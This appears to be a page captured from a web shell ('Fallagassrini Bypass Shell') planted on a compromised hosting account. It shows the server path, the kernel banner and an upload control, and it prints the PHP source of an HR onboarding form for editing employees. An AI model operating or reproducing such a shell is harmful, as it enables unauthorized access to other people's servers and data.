? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/hr/application/views/Onboarding/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/hr/application/views/Onboarding/edit_employee_personal.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
    $this->load->view('documentreadyfunctions');
    // $salary_details = $this->administrationmodel->get_employee_salary_info($viewinfo->emp_non_id);
?>
<link href="<?=base_url()?>assets/css/tablesortnew.css" rel="stylesheet" type="text/css">


<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('onboarding','viewinonboardingsearch','search_employee_personal','view_employee_personal','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Updating Employee Personal Details</span>
</div>

<fieldset>
    <?php
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open_multipart('onboarding/addinonboarding/update_emp_non_personal/view_employee_personal/1',$attributes);
        $religion_list=$this->mastermodel->getdatas('religion','religion_id');
        $emp_non_main=$this->mastermodel->get_data_srow('employee_non_main',$viewinfo->emp_non_id,'emp_non_id');
        $trade_list=$this->mastermodel->getdatas('trade','trade_id');
        $visa_type=$this->mastermodel->getdatas('visa_type','visa_type_id');
        $sponsor_list=$this->mastermodel->getdatas('sponsor','sponsor_id');
        $agency_list=$this->mastermodel->getdatas('agency','agency_id');
        $nationality_list=$this->mastermodel->getdatas('nationality','nationality_id');
    ?>
    <ul>
       <li>
       <input type="hidden" name="emp_non_id" value="<?=$viewinfo->emp_non_id;?>"/>
       <label for="data">Date of Joining</label>
        <div id="multi">
             <?php
                  $data = array(
                  'name'        => 'emp_non_date_joining',
                  'id'          => 'emp_non_date_joining',
                  'class'       => 'required',
                  'value'       => $this->mastermodel->convertdatenormalformat($emp_non_main->emp_non_date_joining)
                  );
                  echo form_input($data).form_error($data);
             ?>
            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
        </div>
         </li>
        <li>
        <label for="data">Full name</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_full_name',
                  'id'          => 'emp_non_full_name',
                  'class'       => 'required',
                  'value'       => $emp_non_main->emp_non_full_name
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>

         <li>
        <label for="data">Old Employee No</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_no_old',
                  'id'          => 'emp_non_no_old',
                  'value'       => $emp_non_main->emp_non_no_old
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>


        <li>
        <label for="data">Employee No</label>
        <input type="text" name="emp_non_no" disabled value="<?=$emp_non_main->emp_non_no;?>" id="emp_non_no" class="required"  onchange="checkexistence('employee_non_main','emp_non_no',this.value)" />
        </li>
         <li>
            <label for="data">Nationality</label>
            <select name="emp_non_nationality_id" id="emp_non_nationality_id" class="required" disabled>
            <option value="">Select</option>
                 <?php
                    foreach($nationality_list as $nationality)
                    {
                        echo "<option value='". $nationality['nationality_id'] . "'";if($emp_non_main->emp_non_nationality_id ==  $nationality['nationality_id'] ){echo "selected";} echo ">" . $nationality['nationality_name'] . "</option>";
                    }
                 ?>
            </select>
         </li>
        <li>
        <label for="data">Trade</label>
        <select name="emp_non_trade_id" id="emp_non_trade_id" class="required">
                 <option value="">Select</option>
                 <?php
                    foreach($trade_list as $trade)
                    {
                        echo "<option value='". $trade['trade_id'] .  "'";if($emp_non_main->emp_non_trade_id ==  $trade['trade_id'] ){echo "selected";} echo ">" . $trade['trade_name'] . "</option>";
                    }
                 ?>
            </select>
        </li>

        <li>
        <label for="data">Sponsor</label>
        <select name="emp_non_sponsor_id" id="emp_non_sponsor_id" class="required" disabled>
                 <option value="">Select</option>
                 <?php
                    foreach($sponsor_list as $sponsor)
                    {
                        echo "<option value='". $sponsor['sponsor_id'] . "'";if($emp_non_main->emp_non_sponsor_id ==  $sponsor['sponsor_id'] ){echo "selected";} echo ">" . $sponsor['sponsor_name'] . "</option>";
                    }
                 ?>
            </select>
        </li>
        <li>
        <label for="data">Recruitment Agency</label>
            <select name="emp_non_agency_id" id="emp_non_agency_id" class="required">
                 <option value="">Select</option>
                 <?php
                    foreach($agency_list as $agency)
                    {
                        echo "<option value='". $agency['agency_id'] .  "'";if($emp_non_main->emp_non_agency_id ==  $agency['agency_id'] ){echo "selected";} echo ">" . $agency['agency_name'] . "</option>";
                    }
                 ?>
            </select>
        </li>

       

       <li>
       <label for="data">Date of Birth</label>
        <div id="multi">
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_dob',
                  'id'          => 'emp_non_personal_dob',
                  'class'       => 'required',
                  'value'       =>  $this->mastermodel->convertdatenormalformat($viewinfo->emp_non_personal_dob)
                  );
                  echo form_input($data).form_error($data);
             ?>
            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
        </div>
         </li>
         <li>
        <label for="data">Father's Name</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_father_name',
                  'id'          => 'emp_non_personal_father_name',
                  'class'       => 'required',
                  'value'       =>  $viewinfo->emp_non_personal_father_name
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Religion</label>
            <select name="emp_non_personal_religion_id" id="emp_non_personal_religion_id" class="required">
            <option value="">Select</option>
                 <?php
                    foreach($religion_list as $religion)
                    {
                        echo "<option value='". $religion['religion_id'] . "'";if($viewinfo->emp_non_personal_religion_id ==  $religion['religion_id'] ){echo "selected";} echo ">" . $religion['religion_name'] . "</option>";
                    }
                 ?>
            </select>
         </li>
         <li>
            <label for="data">Permanent Address</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_permanent_address',
                  'id'          => 'emp_non_personal_permanent_address',
                  'class'       => 'required',
                  'value'      =>  $viewinfo->emp_non_personal_permanent_address
                  );
                  echo form_textarea($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Contact Nos</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_contact_no',
                  'id'          => 'emp_non_personal_contact_no',
                  'class'       => 'required',
                  'value'      =>  $viewinfo->emp_non_personal_contact_no
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">NOK name</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_nok_name',
                  'id'          => 'emp_non_personal_nok_name',
                  'value'      =>  $viewinfo->emp_non_personal_nok_name
                  
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">NOK Contact No</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_nok_contact_no',
                  'id'          => 'emp_non_personal_nok_contact_no',
                  'value'      =>  $viewinfo->emp_non_personal_nok_contact_no

                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
         <li>
           <?php
                $camp_list = $this->onboardingmodel->get_joined_info('camp_allotment',$viewinfo->emp_non_id,'employee_id','camp','camp_id','camp_allotment_date');
           ?>
           <table class="sortnew">
            <caption>Camp Allotment Details</caption>
           <tr>
                <th>Camp Name</th>
                <th>Alloted Date</th>
           </tr>

           <?php
                $i=1;
                foreach($camp_list as $camp)
                {
           ?>
                <tr>
                    <td><?=$camp['camp_name'];?></td>
                    <td>
                        <div id="multi">
                            <input type="text" style="width:100px;" name="camp_allotment_date_<?=$i;?>" value="<?=$this->mastermodel->convertdatenormalformat($camp['camp_allotment_date']);?>"/>
                            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                        </div>
                            <input type="hidden" name="camp_allotment_id_<?=$i;?>" value="<?=($camp['camp_allotment_id']);?>"/>
                    </td>
                </tr>
           <?php
                $i++;
                }
           ?>


       </table>

            <?php
                $site_list = $this->onboardingmodel->get_joined_info('site_allotment',$viewinfo->emp_non_id,'employee_id','site','site_id','site_allotment_date');
           ?>
           <table class="sortnew">
           <caption>Site Allotment Details</caption>
           <tr>
                <th>Site Name</th>
                <th>Alloted Date</th>

           </tr>

           <?php
                 $i=1;
                foreach($site_list as $site)
                {
           ?>
                <tr>
                    <td><?=$site['site_name'];?></td>
                    <td>
                        <div id="multi">
                            <input type="text" style="width:100px;" name="site_allotment_date_<?=$i;?>" value="<?=$this->mastermodel->convertdatenormalformat($site['site_allotment_date']);?>"/>
                            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                        </div>
                            <input type="hidden" name="site_allotment_id_<?=$i;?>" value="<?=($site['site_allotment_id']);?>"/>
                    </td>
                </tr>
           <?php
                $i++;
                }
           ?>


       </table>
       </li>
        <?php
            $this->db->select_min('salary_id');
            $this->db->where('employee_id',$viewinfo->emp_non_id);
            $query = $this->db->get('salary');
            $row=$query->row();
            $salary_min = $this->mastermodel->get_data_srow('salary',$row->salary_id,'salary_id');
            if(!empty ($salary_min))
            {
                $salary_date = $this->mastermodel->convertdatenormalformat($salary_min->salary_increment_date);
                $salary_increment = $salary_min->salary_increment;
                $salary_id=$row->salary_id;
            }
            else
            {
                $salary_date="";
                $salary_increment = "";
                $salary_id = 0;
            }
        ?>
        <input type="hidden" name="salary_id" value="<?=$salary_id;?>"/>
        <li>
             <table class="sort">
                 <caption>Salary Details</caption>
                 <tr>
                     <th align="center">WEF Date</th>
                     <th align="center">Basic Salary</th>
                 </tr>
                 <tr>
                     <td>
                         <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'emp_non_personal_wef_salary_date',
                                  'id'          => 'emp_non_personal_wef_salary_date',
                                  'value'       => $salary_date
                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                                <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                          </div>
                     </td>

                     <td>
                        <?php
                  $data = array(
                  'name'        => 'emp_non_personal_salary',
                  'id'          => 'emp_non_personal_salary',
                  'value'       => $salary_increment

                  );
                  echo form_input($data).form_error($data);
             ?>
                     </td>

                  </tr>
            </table>
        </li>

        
        <li>
             <table class="sort">
                 <tr>
                     <th align="center">First Vacation Due Date</th>
                     <th align="center">Remind Before (in days)</th>
                 </tr>
                 <tr>
                     <td>
                         <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'emp_non_personal_vacation_date',
                                  'id'          => 'emp_non_personal_vacation_date',
                                  'value'       => $this->mastermodel->convertdatenormalformat($viewinfo->emp_non_personal_vacation_date)

                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                                <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                            </div>
                     </td>

                     <td>
                         <input type="text" name="emp_non_personal_vacation_remind_before" value="<?=$viewinfo->emp_non_personal_vacation_remind_before;?>" class="number" id="emp_non_personal_vacation_remind_before" style="width:30px;"/>
                     </td>

                  </tr>
            </table>
        </li>
      
        <li>
            <label for="data">Other trade Knowledge</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_personal_other_trade',
                  'id'          => 'emp_non_personal_other_trade',
                  'value'      =>  $viewinfo->emp_non_personal_other_trade
                  );
                  echo form_textarea($data).form_error($data);
             ?>
        </li>
        <li>
            <label for="data">Photo</label>
             <?php
                  $data = array(
                  'name'        => 'photo_name',
                  'id'          => 'photo_name',
                  'value'       => $viewinfo->photo_name
                  );
                  $data1 = array(
                  'name'        => 'photo_doc',
                  'id'          => 'photo_doc'
                  );
                  echo form_input($data).form_error($data);
                  echo form_upload($data1).form_error($data1);
             ?>
            <input type="hidden" name="photo_doc_name" value="<?=$viewinfo->photo_doc;?>"/>
        </li>
        <li>
        <label for="data"></label>
        <?php
            if($viewinfo->photo_doc != "")
            {
        ?>
        <img src="<?=base_url()?>assets/uploads/<?=$viewinfo->photo_doc;?>" alt="Employee Photo"/>
        <?php
            }
        ?>
            <input type="hidden" name="tab_name" value="emp_non_personal"/>
            <input type="hidden" name="resfunction" value="search_employee_personal"/>
        </li>
        <li>
            <label for="submit">&nbsp;</label>
            <button type="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>
    </ul>
<?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net